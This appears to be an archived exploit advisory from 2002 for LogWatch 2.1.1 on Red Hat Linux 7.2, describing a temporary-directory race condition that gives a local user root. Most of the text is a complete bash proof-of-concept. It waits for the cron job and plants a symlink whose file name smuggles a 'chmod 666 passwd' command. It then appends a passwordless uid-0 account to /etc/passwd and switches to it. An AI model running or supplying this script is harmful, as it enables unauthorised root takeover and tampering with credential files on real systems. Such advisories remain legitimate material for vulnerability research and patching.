LogWatch 2.1.1 is a part of the Red Hat Linux 7.2 distribution, enabled by default and daily run by the cron daemon. On a system running LogWatch, a local user is able to gain unauthorized root access, due to a race condition during the temporary directory creation.
98ffcd498de4f7ca5cccf49a33a3d679c6ee9645522f117edf6b2e34c567d01a
--- INTRO ---
LogWatch is a customizable log analysis system. LogWatch parses
through your system's logs for a given period of time and creates a
report analyzing areas that you specify, in as much detail as you
require.
The collected results are reported to a chosen e-mail address,
root by default.
LogWatch 2.1.1 is a part of the Red Hat Linux 7.2 distribution,
enabled by default and daily run by the cron daemon.
--- PROBLEM ---
On a system running LogWatch, a local user is able to gain
unauthorized root access, due to a race condition during
the temporary directory creation.
--- EXPLOIT ---
#!/bin/bash
#
# March 27 2002
#
# logwatch211.sh
#
# Proof of concept exploit code
# for LogWatch 2.1.1
# Waits for LogWatch to be run then gives root shell
# For educational purposes only
#
# (c) Spybreak <spybreak@host.sk>
SERVANT="00-logwatch" # Logwatch's cron entry
SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/
echo
echo "LogWatch 2.1.1 root shell exploit"
echo '(c) Spybreak <spybreak@host.sk>'
echo
echo "Waiting for LogWatch to be executed"
while :; do
set `ps -o pid -C $SERVANT`
if [ -n "$2" ]; then
mkdir /tmp/logwatch.$2
ln -s $SCRIPTDIR'`cd etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron
break;
fi
done
echo "Waiting for LogWatch to finish it's work"
while :; do
set `ps -o pid -C $SERVANT`
if [ -z "$2" ]; then
ls -l /etc/passwd|mail root
echo master::0:0:master:/root:/bin/bash >> /etc/passwd
break;
fi
done
su master